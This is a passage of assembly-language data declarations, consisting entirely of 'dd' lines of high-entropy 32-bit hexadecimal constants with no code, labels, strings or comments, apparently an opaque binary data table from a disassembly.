dd 0F5CBAADAh, 99BBEC30h, 3A908FEDh, 0B484F491h, 0BF59E964h
dd 0FDA0EEEFh, 0EE44EA0h, 8A0B71D5h, 0E326ED40h, 1793CC02h
dd 940CB5FAh, 4F0B54DDh, 0D3BA668Dh, 0CF4F9989h, 0A0B5EDB5h
dd 25F5ED3Eh, 91E1762Ch, 1C59715Ah, 218CC3BAh, 9CCC9FA2h
dd 0F13CDE25h, 3488CB0Ch, 909F403Fh, 0D58CF935h, 0D29B82C8h
dd 1A398515h, 0BF0523AAh, 73AED45Ah, 8A41EAF1h, 5B4D1B9Fh
dd 51B9DD21h, 0ED4F5B04h, 3C46588Bh, 0E18DE051h, 136F7687h
dd 0F95D9B8Dh, 992327B3h, 0CBCC33EDh, 0FE9AE5D5h, 0EC337FBBh
dd 251924F9h, 9C3BF98Ch, 536BBB57h, 0B94FF5BBh, 9DA25D33h
dd 0C7D72004h, 9EC050A7h, 4AC6BC4Ah, 0AF3CB397h, 0D19C5347h
dd 271F6D4Ah, 7F015FDFh, 3E7858C4h, 0B4BB13C4h, 53039F7Ch
dd 71E785D1h, 0C7284F1Bh, 6D2F9AC1h, 65E3CDF4h, 901666ABh
dd 0E9C66C9Bh, 4636EC46h, 0CC891739h, 0FA35EDACh, 8E9CAA58h
dd 0E906ADDAh, 5F08C900h, 5933AE68h, 0AF273C01h, 618BE3A5h
dd 0A448CB83h, 6171DD70h, 4460B378h, 52B0F46Dh, 0B360BC27h
dd 0DFB2F8F1h, 0BB651BB7h, 848CD417h, 1F3750ADh, 0E4C50F99h
dd 1B5881B1h, 23712C30h, 0C215EEB8h, 93C9C8C1h, 0E177E1BAh
dd 4D4D0697h, 0A21ED637h, 0C7E02D20h, 0CB050159h, 4CA04BA8h
dd 0B5E22B5Ah, 0ACD1969Ch, 0E70DBE08h, 3D2F9E51h, 0D52B6C87h
dd 45E9B604h, 0B12DC686h, 0C671711Fh, 0ECAA97F5h, 0C0DAFB74h
dd 0CCB608C2h, 0ACA5203Ch, 2B18CC0Dh, 0EEA1DF33h, 208BEF0Ch
dd 75555291h, 9E3BE53Dh, 1FFC87BBh, 97EFF656h, 0CAB7445Fh
dd 0B459783Dh, 0A37C93E8h, 69025E44h, 42D45426h, 0E752A932h
dd 0FFDBC20Ah, 0C722B63Bh, 809B5E8Ch, 23428E66h, 0D2303C78h
dd 0D1CF52E5h, 825A3297h, 8CC59ABBh, 8A98423Ah, 0EA91B3B5h
dd 588FFC44h, 88E3ADD3h, 0FEA530DDh, 96B8CC2h, 0FE06942Ch
dd 94AF66F3h, 1BC97A09h, 33907EC2h, 63B7D2C8h, 54203836h
dd 513E10B4h, 73B1E9B0h, 429ECA24h, 245FD234h, 39ED00E3h
dd 0B8198700h, 5117EC66h, 28372AEh, 0E1743E97h, 63CC9543h
dd 970282D6h, 0E14E3E56h, 642CEA78h, 0C23119C5h, 60E688BAh
dd 0A72E91F0h, 5AC33B85h, 261AA17h, 1C093FEh, 0DFEF4607h
dd 0B69AC9D4h, 0B63D3AA4h, 0C2CAE22Ch, 9E4546Bh, 1AAC637Dh
dd 294FC357h, 47473743h, 0E07C90EBh, 2C9A3CD8h, 67ED82F4h
dd 17D790BAh, 0E88BA930h, 0AF05FBDDh, 0F1AEC54Bh, 0F23D477Dh
dd 0E399D553h, 5AF89969h, 28F8977Ch, 83878C47h, 0F0B9898Ah
dd 99D6E714h, 0F4E67F3h, 0E8218732h, 45E8CA49h, 1A5C5BEFh
dd 0E1E43F16h, 0C9AD7796h, 995E1E5Bh, 0C08F829Eh, 746262A8h
dd 0BE75F9B7h, 1737880Bh, 169BF312h, 0D1D5172h, 0E025DA40h
dd 8BC03581h, 32B7046Ch, 7D9732C0h, 49BA162Eh, 4012D6D1h
dd 0D0D1A0AAh, 4D04A0CFh, 1B4C1B81h, 0CAF0867Fh, 0A83E6DC7h
dd 0D7642487h, 37862360h, 0D68B617Fh, 0DFD3BFACh, 25CBCE44h
dd 67CD4517h, 8AD829D6h, 236E7476h, 0E20DF175h, 0D82BA15Dh
dd 5FB29736h, 0CF238BFh, 0BF861DF4h, 471C3B81h, 0B85DF570h
dd 87D41EEAh, 0A831C18Ch, 0E341E4C3h, 0B6C903B1h, 393B8E9h
dd 0F73EB3E4h, 8A6E01A4h, 869352Dh, 4DD47B64h, 0DC492E68h
dd 0D001E53Dh, 0DA815124h, 0F5CEEE68h, 2133DE66h, 5C69E357h
dd 0A1D2FD1Bh, 78BAEB8Bh, 6348475Dh, 1EB1573Eh, 40D506C5h
dd 738F2EF3h, 0F7B9E1F2h, 48F7411Dh, 0B0120D2Eh, 42417555h
dd 0C5D2FFA2h, 0B905903Fh, 0E09E66EEh, 3ECBC742h, 6DAB828h
dd 5C5F1CCFh, 0B7070378h, 0A0A6A989h, 82329896h, 0D32CC56Ah
dd 43311E0Bh, 0E5528B4Dh, 0F8BB214Ch, 9B33E4EDh, 275AA7B5h
dd 0ABD3584Ch, 0B8A95695h, 0A761385Ch, 427F63FCh, 65DE08B4h
dd 8EF12D2Bh, 7790F81Bh, 0A9249AA3h, 6E297621h, 7624A9DCh
dd 3901340Fh, 97DA2290h, 95970287h, 32E2BE2Ah, 84A45227h
dd 7A9EE148h, 0ED366DAAh, 3F99D556h, 73A62567h, 9A0F5E88h
dd 6AC7422Ah, 0BC91BB72h, 0E7C49B6Bh, 3BE804A1h, 0A2EA3390h
dd 8B2DAAFBh, 4714E4BDh, 6AB40A8Ch, 2D92E91h, 0C04C7624h
dd 33453748h, 0CF08E423h, 73CC6BB8h, 5E0E524h, 0BD4F83B4h
dd 0BB212DB9h, 683DE033h, 51C9098Ah, 0F576A3EAh, 155D6B19h
dd 96ADA221h, 0D02B3F6h, 61DD3ED3h, 6E01135Bh, 30999DCCh
dd 41295AC5h, 0ADC52D1Ch, 0EC9B8B11h, 0C8109197h, 76D6B39Ch
dd 71D8493Eh, 0EFAA015Ah, 93FFB9B9h, 22B2DFFDh, 8C6E17A9h
dd 0E6B6A735h, 0D1512227h
dd 19523C1Bh, 0C7BC37D7h, 5519F63h, 57014C00h, 31EDFC02h
dd 0FB9B7E73h, 0D07BD4D5h, 0B7552628h, 22401E5Bh, 90C8C406h
dd 6B2B5DB0h, 0B77AD905h, 621D5614h, 0C53012F2h, 0A2A13328h
dd 48CA7747h, 213768AEh, 2C79B7B7h, 0EEE3D8BBh, 8BA63428h
dd 1BBA6D21h, 0C7CD9B15h, 7445535Bh, 3FA46Eh, 263EA4B3h
dd 73DC252Ah, 13F67E63h, 0C0390E89h, 2BA080EEh, 0B5DD6F87h
dd 96D36EB1h, 0FCBBBD17h, 0A832B017h, 0B08F76AEh, 314BCC69h
dd 59800201h, 0FCE00E2Bh, 84625738h, 1D165EE2h, 80B13F1Ch
dd 78B17033h, 0BD847211h, 0ADC04FD2h, 0E1E508F2h, 0FD21697Ah
dd 0C19C32A5h, 19790609h, 63E194C7h, 7A708844h, 0E4C99094h
dd 604D7FE8h, 0F71750A5h, 6C089EA5h, 8140F34h, 0F6632FD3h
dd 8D268h, 27131E38h, 3DFE141Ah, 5B6E7AA7h, 0DE657B84h
dd 228307C8h, 271CE320h, 0DB003B97h, 0B8EE8934h, 914A84F6h
dd 592A01FCh, 0F8489B81h, 0D42EFD08h, 0D9395353h, 0D5DA8398h
dd 8DE3ABCFh, 0EDCB3E7Dh, 0AB47E441h, 598C5698h, 0E51A5248h
dd 351A486Bh, 2492EFCEh, 33D02D0Fh, 0CC838500h, 39006001h
dd 0CFA70781h, 0E22B8EDFh, 95F7AC94h, 9B77B0B3h, 0B89A3472h
dd 48C917B8h, 107B0132h, 0A938EE27h, 0E76E2C0Ch, 8C642371h
dd 0D5256491h, 0D7286364h, 0E19B3991h, 5F88B13Eh, 5CD507C1h
dd 3EB26D9h, 2237E94Ah, 0EA822A16h, 0D1600D49h, 9A33A006h
dd 0ADBEF0CFh, 0B6DF937h, 8ED6F60Eh, 36E69F06h, 0B3043790h
dd 768F1A0Ah, 0B25525EFh, 0BDCB6D28h, 0F52ED6F1h, 39FE8D51h
dd 0D7939810h, 0CD973E2Bh, 49DA02D7h, 4AEACA2Fh, 91F6BC7Ah
dd 0F0839CB6h, 750E7BBBh, 0A9CEBD5Bh, 84D45546h, 5CB9CF02h
dd 3CBC28E6h, 0E686355h, 0F7C4781Fh, 5DD0515Ch, 0A4EEBFECh
dd 8FA10736h, 59E5949Ah, 9B08DF57h, 7F11DF95h, 0DA54EDF9h
dd 59500AFFh, 0C4DF32E5h, 0AFB3413Eh, 0B0035956h, 687CBAFCh
dd 23025333h, 16A7BD78h, 56DCD0A3h, 575FBEC9h, 0F27E89B7h
dd 1629E3B1h, 7B4E3E07h, 17FB18C8h, 6B553A38h, 3F3F7124h
dd 0E6D3CA09h, 4D2CCC26h, 26813E28h, 2A493535h, 0B4A7629Ch
dd 79674386h, 0AED0A5A5h, 2188D055h, 0AE754Bh, 0C63B5D59h
dd 0E3A13934h, 85521F75h, 0EBF1F376h, 311B2C60h, 0C9AFC144h
dd 0DC7F500Ch, 0BB99DFA2h, 0E5303185h, 3CFA27h, 0EF15402h
dd 60D65C50h, 0EDC52CD4h, 3D563EA2h, 1CFA787Dh, 0E61928B6h
dd 78DFA356h, 0B0E03729h, 0F556CD5h, 0D51B5CF9h, 67727B63h
dd 0F6A49F82h, 0E257DDA1h, 83121AB8h, 858918C8h, 529B716Fh
dd 0A314226Ch, 13232CA7h, 0BC57D526h, 6BAF9262h, 6FF93AE6h
dd 0C892505Eh, 6AC2F74Ch, 357DDFC1h, 5D26651Fh, 57C1717h
dd 2CF80512h, 0DA3294F2h, 45CBA86Bh, 0E3962EE6h, 62084E41h
dd 0E0B55295h, 96E26555h, 0A4592099h, 9DD071BEh, 997ED3FEh
dd 597D72F1h, 0DBDE2764h, 0C1E4F21Dh, 0CEA1E22Ah, 4A7F2B66h
dd 0CC221455h, 0CEAA1707h, 29F0CB4Ch, 45E61E36h, 12442E2Eh
dd 49EF5DFEh, 788A6650h, 8728E465h, 0BA50DE5Bh, 0C07BA1Dh
dd 0E08CCCC8h, 9A234F56h, 62A56369h, 833E0CBBh, 82304B65h
dd 0D3E84300h, 4A085DF3h, 0BED5CB4Dh, 0EA03844Ch, 1A51A013h
dd 285CAF9Bh, 2768DD8Dh, 16F72A5Ah, 0EFD4BF01h, 93157178h
dd 5A1BEFE6h, 0A7893DE4h, 19EA1DB5h, 0C8B7D591h, 6D02CD93h
dd 0AFAEAB11h, 0DF3BBE1Fh, 6CBBDB74h, 0DF2E006Dh, 6D516A91h
dd 0C5C36C70h, 0D3811269h, 0C51EB0F7h, 58C72A2Ah, 7550BA9Dh
dd 0A74326ABh, 52CBFB2Eh, 29892874h, 408DE4A6h, 226A0A60h
dd 129A6B2Eh, 5064A6FCh, 19B6FA8h, 46CFD46Eh, 2C6454EEh
dd 1E911CEDh, 0FF7F9F35h, 0C5F254CAh, 0A0F6BA69h, 4728F9F4h
dd 161D8C85h, 0DC11E1F2h, 0F7FF02D9h, 0A3B391FEh, 5397C304h
dd 14AFAAh, 0D4EE74B5h, 7A0A0EC7h, 0B95CD500h, 5FCB7CBCh
dd 0A0A71062h, 0AECFE857h, 0F49E6A3Dh, 7A178247h, 0A0A088F9h
dd 0C8AAFBF8h, 4A4ACA37h, 44CB8F84h, 0D8962698h, 1DCCB1C1h
dd 0F485C15Dh, 0B4A187B8h, 36843021h, 0F1D1CD2h, 0EE6C22FCh
dd 0E235364Bh, 561E7911h, 0ECC8C3A9h, 0F37C26Eh, 0F13746B7h
dd 8AD9A67Fh, 1D4C061Dh, 51CF5561h, 247BCA62h, 676DF28h
dd 6E165D54h, 0DEBC8745h, 4AC16A13h, 7333F584h, 200620F3h
dd 0D45EF4B7h, 794ECAE4h, 21503144h, 0FE3C7915h, 9F8A6D44h
dd 3AE73322h, 5AFA46EAh, 76004E55h, 2E9A477h, 0D97F9DF2h
dd 0FB59CA2Eh, 0ED5FE3Dh, 0ED1A28ECh, 0EB13C533h, 9B50A4B5h
dd 879C1CF3h, 0A4383C6Dh, 77C70DA4h, 0FDBADF7Dh, 0A6B70D28h
dd 0CC951BBCh, 0F4CFB3h, 0A6D77015h, 8D8A71D5h, 0A9E03908h
dd 9A8A4281h, 1DACB552h, 0B0AF7DBBh, 0E2D5A230h, 0D4BB9BE8h
dd 0ABAC8C85h, 8AB8B0D8h, 7F746714h, 0DCA3CFDDh, 5787AB88h
dd 0D1B23D45h, 1A6C957Fh, 0AFB2553h, 24682FECh, 5697ADFAh
dd 0EAE604FAh, 0CBC28A70h, 17FC0668h, 52E1BB6Dh, 0F66FB3A5h
dd 0C22CEFCh, 1E1A97E4h, 6206F55Bh, 0CA525FE5h, 0A78558A7h
dd 520E7EE6h, 5B75A72Bh, 3109418h, 6BB6E886h, 0E8F5B5F9h
dd 43BCA83Ch, 30413F13h, 8872C3C4h, 587BCB15h, 2BBBB8D5h
dd 44FE76A5h, 5EB21F5Dh, 0E51ECF61h, 42D33CB0h, 3F05AA7Eh
dd 842E82ACh, 932EF985h, 0CC91F9A2h, 3DBAAE0Eh, 872B8EF4h
dd 0C32F90E2h, 0BA3E3F44h, 9DE0B400h, 79F993E0h, 83F4F9BDh
dd 82FF0FFEh, 94112D5Ch, 9A0CD106h, 48AA3AEEh, 0D8E897E7h
dd 0E0922683h, 9C41BD7Ah, 861D2A8Fh, 82D507C7h, 0BAF8E71Ch
dd 0C12919ACh, 0F1D79426h, 0B0ECD336h, 0AB57FDD4h, 3304E920h
dd 8EC9F487h, 2EAFF231h, 876E50A2h, 0FBB34A0Ah, 0ADA0F936h
dd 76C6BB13h, 10DC5AA2h, 775B1CB2h, 0EA55E0BFh, 43A0850Ah
dd 1C8EEB18h, 0E70C5264h, 0E45DEC6Ah, 0A9725923h, 0FD6559FDh
dd 0D63666AAh, 213EDC5Fh, 0FFA77AB5h, 205FB7E1h, 0BC570D3Eh
dd 0FE07F41Ah, 509DD822h, 0F1877AB9h, 19231A92h, 23C93075h
dd 30C1103Dh, 941BBD72h, 873BA57Ah, 9AC443F4h, 4FCEE87Ah
dd 38B21997h, 0BD9350Fh, 73845091h, 5F47A6CCh, 0E6C136D8h
dd 0DC951FD8h, 0AE172384h, 30F052B8h, 68D47AE7h, 636EC879h
dd 777EE235h, 5466DD5Ch, 0CD152FE5h, 0C51D6A70h, 0F21046E6h
dd 0D42BD497h, 0CC3AA91Ch, 0F36D13F3h, 31199C84h, 7D7C28D4h
dd 475898F8h, 0FEE69515h, 0E0E07D1Eh, 3D2FD56Bh, 0B8D320ACh
dd 9D0E6A22h, 8F5A1ABFh, 738D8F35h, 0F26F34CAh, 66A8468Bh
dd 5F587781h, 0A2D42B29h, 9F9E65F9h, 853F91A3h, 0C2C9DBDh
dd 70F977CFh, 72EE06F6h, 1EB276E2h, 0B50D5A0Eh, 547B0092h
dd 0F7F3788Eh, 0B68A4E96h, 0E156AF64h, 0B9034EF8h, 433845CCh
dd 5BD02E68h, 0BF662E6Eh, 1046A41h, 3D0AB551h, 0BF2D638Eh
dd 8EB556A9h, 0D33D207Eh, 0DFB8989Fh, 5D939CF7h, 3F738FDCh
dd 0ABB72A24h, 89412370h, 1D9E5273h, 0CF18DD50h, 0AAD68C28h
dd 0AA769B12h, 0A63F5FADh, 0DF811946h, 0D20E1B0h, 0FFDF258Ah
dd 9EE13839h, 3FF16D4Ch, 3FCE3CE1h, 0F368C19Bh, 6147E868h
dd 0D222A982h, 98B289CFh, 8A65EECFh, 0EBAF2339h, 0AD448A64h
dd 0A46D3351h, 0C6E4A995h, 7A8A2239h, 2AA2DBBBh, 0FE910110h
dd 146D0D36h, 23B387E0h, 0E45A2665h, 9BD06657h, 0FD1E5952h
dd 42867B1Ah, 15E2E5C2h, 3159DF0Bh, 59A216BDh, 7FB0CFD1h
dd 0EFE16D45h, 57ABCC52h
dd 8734FD8Ch, 0BE266D5Bh, 8933D73h, 8267B718h, 0E05968A6h
dd 0D9C4453Eh, 9B0443FCh, 0FA1591F3h, 0CB1612D9h, 558A3B35h
dd 0AE529E8Ch, 97F800E8h, 0E16866DAh, 0AA91E84Bh, 0CBB61201h
dd 0E72879F2h, 90BD1BE1h, 0CD46A8DCh, 0B80FA840h, 7E479997h
dd 7D55A844h, 75C33186h, 8B381769h, 8B6813C4h, 6AD06FB6h
dd 72EA3958h, 0F689D05Ch, 573824B6h, 0E6B382B2h, 86C90657h
dd 5FC31B6Ah, 45EDD66Ch, 5570AAAAh, 1A28E5C0h, 0EBE3313Fh
dd 0BF6D5377h, 84F8D5DCh, 94320081h, 5DA3DFh, 359C3A8Fh
dd 705E6CCFh, 0BC54263Ah, 73EDDD56h, 34AE33B9h, 7715885Bh
dd 0CDD354AEh, 0F5F0930Eh, 93CEB7B9h, 0E755A0FEh, 0C057B21Fh
dd 405ACD62h, 0C72EA783h, 0F6E2FB63h, 10BF9568h, 0CAED6F6Fh
dd 0B00F8C40h, 0DDB292F3h, 5BBA2C4Eh, 2CCC200Eh, 75217230h
dd 1B189054h, 9FFA8D46h, 0FA11AE39h, 8D75069Ch, 0C25F89E4h
dd 0C33BCC5Dh, 2859F690h, 666C4286h, 0B616CF06h, 311E27D8h
dd 47ADD21Dh, 3FDA6B6Eh, 90552D7Ch, 0E044752h, 0CD045695h
dd 0EF324F1h, 0DF52A36Eh, 975C03E2h, 0C8C3CE69h, 6B86E860h
dd 750DDCC7h, 199A290Bh, 0CD2638E4h, 0EB19AE8Bh, 0EB63E5C6h
dd 8A5E4FCBh, 0C19553A9h, 2EA08830h, 7E508FE2h, 2397AC53h
dd 0D2276C0Ah, 0EFC86FFAh, 0D3899675h, 0E4CEF1CAh, 31D08B53h
dd 0BADB0B40h, 0FE082201h, 0F5E66C29h, 360B379h, 45BA7FB7h
dd 0B04A90A5h, 930D5D5Dh, 3CADA193h, 142CDFF6h, 8462B29Ah
dd 0A0488E3Fh, 407DF6D4h, 1F4F4CBBh, 0F2A2195Ah, 91171F7Ah
dd 540B9C66h, 0A5AFC09Dh, 25AC5F7Dh, 95E0A7C8h, 0A01BC025h
dd 977E7983h, 5B67B75Ch, 754C5A41h, 1B246897h, 55BA7242h
dd 4A269E3Fh, 4E6C0442h, 57BE0342h, 0BF443BABh, 4E1293F0h
dd 64FFBC27h, 906258D2h, 0A76497A2h, 8150F1D6h, 55823D4Ch
dd 9E994F7Dh, 8A1537C9h, 34716D50h, 3D0CB00Ch, 488AFA65h
dd 6B5DB470h, 96D6CA36h, 6E560483h, 9F471637h, 50C0F2CFh
dd 0DE1A753Ah, 0C30136D7h, 956CE032h, 0DA226BB8h, 599EE05h
dd 47CC9CD8h, 90B7E402h, 3908A5CDh, 2B1892E2h, 3198AF8Ch
dd 68985CCFh, 62E73A9Ah, 0D1298536h, 2EDDCB9Bh, 0F89D69E4h
dd 4C2E5542h, 10B04D92h, 7B46CD5Fh, 0E3837725h, 17C1FB48h
dd 0C8C0805Dh, 0C8B8C829h, 69A29BEDh, 451D7934h, 0AD1CFA9Eh
dd 75139087h, 0F38AD1C1h, 0FA75A94Ch, 940A5ED3h, 6B248723h
dd 602F632Eh, 947B8075h, 919C84A4h, 25A1208Bh, 5B5C36DFh
dd 1A3CF909h, 9EA0A2BAh, 1C8F20D3h, 9C0841E3h, 0DEAB052Ch
dd 0FE6D5F20h, 328CE104h, 66FEFFD3h, 291E4B84h, 0B756CD29h
dd 8E035B0h, 0E233C4AAh, 27FC6205h, 908E3C63h, 9A12BA71h
dd 837D19DEh, 0AEF2DDEBh, 2A5CF245h, 0B9E6B540h, 0CA22B115h
dd 66FFB05Ch, 0EBDED570h, 0BDF24CC4h, 7C75432Eh, 723541AEh
dd 282169E6h, 0DCFA4818h, 8A02EEF6h, 8BC7E1C3h, 0D2FC5C27h
dd 1FBF8BCEh, 5F5F8304h, 6FCA1D4Ah, 7623ECAAh, 0F9FA9296h
dd 0C5D13413h, 338CE0BCh, 0DC75EB59h, 0F261BB38h, 9AD7BEF3h
dd 73493681h, 7A5CA520h, 0E5026D8Dh, 7FC61068h, 0D48CB174h
dd 0EAE330ECh, 716585F7h, 0C84CF121h, 4F06E25Eh, 0A32156E2h
dd 381308F2h, 9A70D1AFh, 0A712C49Bh, 51D048A8h, 0D4E13F54h
dd 6134F969h, 0C8B2C83Ah, 0A7A28662h, 0B13CF12Bh, 1A50D1B9h
dd 0E1706A4Bh, 2269D773h, 867EDB56h, 9740FE79h, 0EB8988EDh
dd 0F82D855Ah, 5EECA7ECh, 7BA9274Ah, 592B4278h, 8BF09E78h
dd 57DEE8Dh, 0D3739305h, 582B344Eh, 9836B656h, 0F9830D3Dh
dd 0C869214Eh, 2C8686F6h, 85DA3BCh, 0B0B184DFh, 5D11E491h
dd 68574544h, 4148402h, 7DFFE404h, 9C0162A9h, 5C5F1665h
dd 57D43E6Bh, 7C72EC24h, 1E745B4h, 3A0379B7h, 0E16831C0h
dd 0A684F369h, 5F842E55h, 0D32BECB9h, 3FF37213h, 0DF9CDA77h
dd 24C94056h, 0A82905D2h, 0F13BC8E6h, 738759A9h, 96079014h
dd 0E343275h, 2A0D449Eh, 0B1EC00F6h, 708294CAh, 88342AB2h
dd 0EAF26FF9h, 8AF7FCE0h, 0CBCEBDBAh, 7C0C1597h, 0CE62BB53h
dd 0C45A7E07h, 6BD0CAB4h, 0BF201ADBh, 0C23C00BEh, 0CFEB6B31h
dd 8AD9FC0Fh, 49F7737Fh, 1E30CAF9h, 2C0C45E4h, 0D970889Dh
dd 1B42FDEBh, 8F8B0839h, 0F65A8903h, 25C3266Ch, 0FACB8BBh
dd 191063FAh, 733A026Ah, 785A9949h, 4AEF2F22h, 69AB2829h
dd 0D8882381h, 0A24A185Fh, 0C6A2A324h, 21288857h, 26D32671h
dd 0DC7779EDh, 0EDB1BA66h, 9F03170Dh, 0D5DA13F8h, 0D3E6977Dh
dd 0B504C0C8h, 0AF987BE5h, 0A32AC082h, 7EC27509h, 6398042Ah
dd 0A5218D04h, 0B413820Fh, 0FE118128h, 2B1A417Ch, 5B3A242h
dd 0A4275F62h, 174D7D17h, 0DC8C7CBBh, 25646A59h, 64514D74h
dd 0BD8B5C37h, 819CF862h, 0E597195Ah, 0CB62091Ch, 1CB3CAA1h
dd 70BE10BDh, 50046D98h, 5DECD30Ah, 202DF75h, 28220AE8h
dd 0D1496AE6h, 91AF7070h, 0B0C0C392h, 62DC4B9Fh, 706B766Dh
dd 0A8B0F1ADh, 0CA9911BDh, 9C052559h, 0C6D67AE7h, 0BEFC16EFh
dd 0C38E47A2h, 568AC8CDh, 0CEA50EA8h, 9012D730h, 0F172EBFEh
dd 4983776Dh, 7280B193h, 14352B17h, 25DFF310h, 0CD8D42D5h
dd 9D62D7FEh, 85519D16h, 24DA94E6h, 0E5C0F6F2h, 0E009268Dh
dd 0C48E7B59h, 9A75EBF2h, 114BE887h, 0D8246BD0h, 0C4E5365Eh
dd 0E82BF1DCh, 0F002792Fh, 872C9D7Ah, 0A19B26D7h, 0B5FB13A5h
dd 623171B7h, 0C5589D16h, 3F85ACF2h, 7C7A316Fh, 0FD4B0A9Bh
dd 0EB7D9EE0h, 85DBB8FBh, 9DD567F7h, 0C1F62863h, 4464C090h
dd 0F9C11560h, 0D0BDDDAEh, 0C00F0428h, 9B8DDC90h, 82549A32h
dd 0DEF18790h, 5D0B7147h, 0A1A73CCEh, 61F4BDEBh, 4ECAD074h
dd 0B05A0F19h, 359B8332h, 9518D10Eh, 3BA41C9Bh, 1D601C21h
dd 0F8616678h, 0C38D3DC0h, 0C83806C4h, 0C61332D7h, 0F766665Bh
dd 661362D4h, 2C060A4Eh, 0D062B5D3h, 0F216AD9Dh, 6210D3A7h
dd 2CEEC534h, 0AAE2F604h, 0EDC56131h, 770CF931h, 0F6A693C3h
dd 2393ACF2h, 374956AAh, 50BC834Ch, 560E33ECh, 0C55C3BB7h
dd 0AA539C57h, 0CDB3970Ah, 0D2F551EAh, 8C233D8Eh, 32F07432h
dd 43050E01h, 0CC938280h, 5F9E71E9h, 344C2EF9h, 0C4A21F5Dh
dd 12636584h, 6BE3DEABh, 6EA844A6h, 34515E34h, 9F84B0D3h
dd 6238BE33h, 7BBA4FD0h, 664AF4BCh, 950BD05Dh, 6B741AB4h
dd 61F6CBC9h, 242F37B1h, 86176084h, 0B97A7C92h, 7836579Fh
dd 84F49188h, 0B760DF17h, 0DF41ABBBh, 0E24DC8C6h, 6E389682h
dd 6B5A34EEh, 394AADD8h, 3D504D83h, 9936F898h, 0F76393FDh
dd 0D513BAF2h, 44D36D20h, 6EC206Fh, 0D948C0B6h, 535C92A6h
dd 0E0F563D6h, 0FCC2E97Ah, 64504D38h, 3E71F199h, 0B4723F4Fh
dd 62A51D80h, 4BFC248Fh, 0C5310BBCh, 0F1113FF2h, 895BB1DDh
dd 7980166h, 0A8F236CEh, 0FEE57676h, 6484A8CAh, 0C0CFBAE4h
dd 1CBDA85Ah, 872EDC57h, 3C82ADADh, 0C5D75180h, 0FF491BFFh
dd 0AB5378E8h, 2771FBC9h, 5B89A0E3h, 0E8ABB832h, 0CDA801EDh
dd 1ADDB189h, 8120A3B7h, 0C5C7C70Fh, 0E4DC2094h, 0BFB84043h
dd 4F1D278Ch, 4180CC17h, 64175D7Dh, 10817F9Fh, 0D82FA913h
dd 3D10AFCBh, 0C57C9419h, 1AFC32Ch, 5C38B444h, 0AAC5D83Bh
dd 320EBF77h, 246ECE13h, 0DA527DB5h, 89B8E530h, 6581EC4h
dd 8E23CB71h, 0E2A13B31h, 0D8EE65DCh, 251F2A21h, 0BD34E7FCh
dd 2A2307Fh, 802AAF03h
dd 0C0FC77E5h, 0A2384FF1h, 3B6830F5h, 57CEB7AAh, 9BA45A4Ah
dd 72E0F6EFh, 60C83332h, 8819D673h, 72A0D982h, 68E3BD78h
dd 0B257A2DCh, 1C4FDAC9h, 461C5159h, 519D5F3Bh, 0CE00C588h
dd 55D9B9E5h, 0B1EDC1A9h, 0C3E57950h, 0F3AED2D8h, 0EF194C86h
dd 0AFAF05CDh, 72082D89h, 0F3758787h, 0CB2B775Ah, 42C965DCh
dd 2F7BB6AFh, 0D6EBB78Eh, 8A066948h, 905F7584h, 81CD13C7h
dd 6327470Fh, 0DC61B10Ch, 0CA7CA8Fh, 3B192837h, 1F59521Ah
dd 0E23FD589h, 0D4839FD2h, 0E69D6D8Ch, 0D7715604h, 5C97F43h
dd 835D2B58h, 76914687h, 60D76D34h, 6911C317h, 0C1A6753Bh
dd 0F8F0A24Ch, 9C31F0Dh, 9201D595h, 24EAEB1h, 1C4CE88h
dd 0A93F2092h, 0F1780501h, 47B65D47h, 0B4364243h, 6A3E3BEEh
dd 6DB8E336h, 7B7E0E21h, 5531828Bh, 4DBAED27h, 0EECA7851h
dd 0A569FE74h, 0F22DA370h, 84F11E24h, 687E74BBh, 124C6E51h
dd 0EE804333h, 0C1183C4Dh, 60C6A5B0h, 87E8760Ch, 0EDEFA04Eh
dd 0BB4CF1F3h, 612BA4Ah, 0B19C9CAFh, 9633B4BEh, 0C413C159h
dd 8FA8899h, 0FF4FA198h, 168D3B74h, 0FA75AC7Dh, 1C247EF6h
dd 0D5528452h, 68768E0Bh, 7242EE27h, 64A9320Dh, 4E409CAAh
dd 8C4E342Ch, 0FFC7D8BBh, 594AFAFEh, 0A4C0E379h, 47F1B6FFh
dd 10C3ABB8h, 0EF0A2E5Ah, 0DCE005FBh, 3ED1326Bh, 0A39F61BDh
dd 212EB84Ah, 3422DFA4h, 107163A4h, 0EBB66175h, 41201527h
dd 0AB380726h, 0B31C6A87h, 905F4D51h, 289C2E0Bh, 17D513E0h
dd 0EABE8979h, 129872ABh, 0E0753C72h, 470BDBF0h, 0CF1AD8FEh
dd 1B448A39h, 0B03A1D08h, 5F8AA3Eh, 0FD97327Ah, 0E304C3FAh
dd 673E13Bh, 479E1673h, 80E5C46Eh, 71E4DCC2h, 42887AC1h
dd 0F835FBECh, 40B99660h, 14F7A798h, 0BABCB7D5h, 0F666F614h
dd 0F774CD6Dh, 1DEA5500h, 0AC787F96h, 63DA2DA9h, 327B12DDh
dd 9462FA26h, 0C19201DAh, 186C20D0h, 4B76A6D4h, 8C8C9F13h
dd 594F5498h, 0C85BC4C2h, 7FE11754h, 94332A1Ch, 0D91C0CEAh
dd 0F3450A1Bh, 1130A866h, 7A8EB292h, 823DE277h, 4321ED41h
dd 60A0D7D9h, 0B11E23F0h, 0E074E283h, 447A5C15h, 3AB77686h
dd 0C610B0A2h, 85FEB1F0h, 0E84E3238h, 55EEECBDh, 0F6B52FFAh
dd 645F25BAh, 0B64783Dh, 5B04BF13h, 65EAC9E5h, 0C4541D05h
dd 7C42D337h, 0EBD2CBC8h, 631F5320h, 32ED5C35h, 9957112Ah
dd 4BE05E7Ah, 0E6981C75h, 4CDC20B1h, 96525D9Ah, 6A0503B8h
dd 0FE2117B0h, 0DEE23FFBh, 1B42935h, 6445954Fh, 1EEDF3B5h
dd 360BAD7Ch, 18BCBB7Dh, 0C311CB9Eh, 0D9EF6311h, 0F36D86FBh
dd 61E88893h, 1C3F215Ch, 0DBEC31CEh, 34E64905h, 0C552EE42h
dd 0FFC68BA5h, 0A25B7C11h, 8AF4E572h, 41B9C4B2h, 1191C068h
dd 52AC4FB3h, 37471D9Ch, 0ABBE7FADh, 0BCCD47E4h, 568D8A6h
dd 0C66F1182h, 8A0C8A0h, 0A5B7B6BBh, 785B4747h, 0AA8353F8h
dd 0B5513AB4h, 755006E9h, 40F875F1h, 82B402EFh, 0B3219862h
dd 64EAB78h, 42B88D35h, 2F78A6B7h, 9C4E99E2h, 8FBFF9B2h
dd 43B26258h, 14798DD3h, 71DF75A7h, 24735472h, 0C7FFAFEBh
